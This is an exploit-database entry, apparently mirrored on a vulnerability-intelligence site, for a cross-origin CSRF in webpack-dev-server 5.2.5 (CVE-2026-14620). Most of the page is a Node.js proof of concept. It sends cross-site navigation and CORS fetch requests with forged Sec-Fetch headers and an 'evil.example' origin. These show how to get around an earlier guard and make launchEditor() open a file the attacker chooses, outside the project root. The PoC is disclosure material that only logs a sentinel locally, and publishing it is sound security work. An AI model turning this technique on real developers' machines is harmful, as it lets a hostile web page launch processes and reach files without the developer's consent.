Lucene search
+L

webpack_devserver 5.2.5 - CSRF

🗓️ 17 Aug 2026 00:00:00Reported by Jorge González MillaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 11 Views

webpack-dev-server <=5.2.5 allows cross-origin CSRF via open-editor endpoint, spawning attacker-chosen files via launchEditor().

Related
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM watsonx Orchestrate Developer Edition
7 Aug 202608:26
ibm
attackerkb
ATTACKERKB
CVE-2026-14620
3 Jul 202617:00
attackerkb
attackerkb
ATTACKERKB
CVE-2026-6402
12 May 202607:45
attackerkb
cgr
Chainguard
CVE-2026-6402 vulnerabilities
9 Jul 202602:25
cgr
circl
Circl
CVE-2026-14620
3 Jul 202617:04
circl
circl
Circl
CVE-2026-6402
12 May 202607:53
circl
cnnvd
CNNVD
webpack-dev-server 安全漏洞
12 May 202600:00
cnnvd
cve
CVE
CVE-2026-14620
3 Jul 202617:00
cve
cve
CVE
CVE-2026-6402
12 May 202607:45
cve
cvelist
Cvelist
CVE-2026-14620 webpack-dev-server vulnerable to cross-site request forgery via internal developer endpoints
3 Jul 202617:00
cvelist
Rows per page
# Exploit Title: webpack_devserver 5.2.5 - Csrf

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/webpack/webpack-dev-server

# Software Link: https://www.npmjs.com/package/webpack-dev-server

# Version: <= 5.2.5 (fixed 5.2.6)

# Tested on: Linux

# CVE: CVE-2026-14620

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server



GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc.js) ---

/*

* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF

*

* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches

* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin

* guard added for CVE-2026-6402 / CVE-2025-30359.

*

* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are

* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the

* <script>/<img>/<link> subresource loads that the source-theft advisories were

* about. It does NOT block:

*   - cross-site NAVIGATIONS (iframe / window.open / top-level)  -> sec-fetch-mode: navigate

*   - cross-site fetch(..., {mode:'cors'})                       -> sec-fetch-mode: cors

* Both of those are exactly how a real malicious page reaches a state-changing

* GET endpoint, and both let launchEditor() spawn a process on the dev's machine

* with an attacker-chosen (existing) file path — INCLUDING paths outside the

* project root.

*

* Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched

* with. No destructive action. Everything is local (127.0.0.1).

*/

"use strict";



const path = require("path");

const http = require("http");

const fs = require("fs");



const POC_DIR = __dirname;

// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).

//   WDS_ROOT=/path/to/webpack-dev-server node poc.js

const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server");

const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack"));

const Server = require(path.join(WDS_ROOT, "lib", "Server.js"));



const MARKER_FILE = path.join(POC_DIR, "marker.log");

const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh");

// Attacker-chosen target: a file OUTSIDE the dev-server project root.

const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt");



// Make launch-editor deterministically use our benign sentinel "editor".

process.env.LAUNCH_EDITOR = FAKE_EDITOR;

process.env.MARKER_FILE = MARKER_FILE;



try { fs.unlinkSync(MARKER_FILE); } catch {}

fs.chmodSync(FAKE_EDITOR, 0o755);



const HOST = "127.0.0.1";



function request(port, headers) {

  return new Promise((resolve) => {

    const url =

      "/webpack-dev-server/open-editor?fileName=" +

      encodeURIComponent(ATTACKER_TARGET);

    const req = http.request(

      { host: HOST, port, path: url, method: "GET", headers },

      (res) => {

        let body = "";

        res.on("data", (c) => (body += c));

        res.on("end", () => resolve({ status: res.statusCode, body }));

      }

    );

    req.on("error", (e) => resolve({ status: 0, body: String(e) }));

    req.end();

  });

}



function markerCount() {

  try {

    return fs

      .readFileSync(MARKER_FILE, "utf8")

      .split("\n")

      .filter((l) => l.includes("LAUNCHED_WITH")).length;

  } catch {

    return 0;

  }

}



async function waitMarker(prev, ms = 2500) {

  const t0 = Date.now();

  while (Date.now() - t0 < ms) {

    if (markerCount() > prev) return true;

    await new Promise((r) => setTimeout(r, 50));

  }

  return false;

}



(async () => {

  const compiler = webpack({

    mode: "development",

    context: path.join(POC_DIR, "project"),

    entry: "./src/index.js",

    output: { path: path.join(POC_DIR, "project", "dist") },

  });



  // Default-ish config. allowedHosts defaults to "auto"; no special hardening.

  const server = new Server({ host: HOST, port: 0 }, compiler);

  await server.start();

  const port = server.server.address().port;

  console.log(`[*] dev server up on http://${HOST}:${port }  (allowedHosts: auto, default)\n`);



  const results = [];



  // Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.

  let prev = markerCount();

  let rA = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "navigate",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "iframe",

  });

  let firedA = await waitMarker(prev);

  results.push(["A navigate (iframe) cross-site", rA.status, firedA]);



  // Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.

  prev = markerCount();

  let rB = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "cors",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "empty",

  });

  let firedB = await waitMarker(prev);

  results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);



  // Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.

  prev = markerCount();

  let rC = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "no-cors",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "script",

  });

  let firedC = await waitMarker(prev, 1200);

  results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);



  console.log("VECTOR                                 HTTP   launchEditor fired?");

  for (const [name, status, fired] of results) {

    console.log(

      `${name.padEnd(38)} ${String(status).padEnd(5)}  ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`

    );

  }



  console.log("\n--- marker.log (argv the spawned 'editor' received) ---");

  try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }



  const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;

  console.log(

    `\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +

      `cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +

      `only no-cors subresource is blocked.`

  );



  await server.stop();

  process.exit(pass ? 0 : 1);

})().catch((e) => {

  console.error("PoC error:", e);

  process.exit(2);

});

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.3 - 6.5
EPSS0.00523
SSVC
11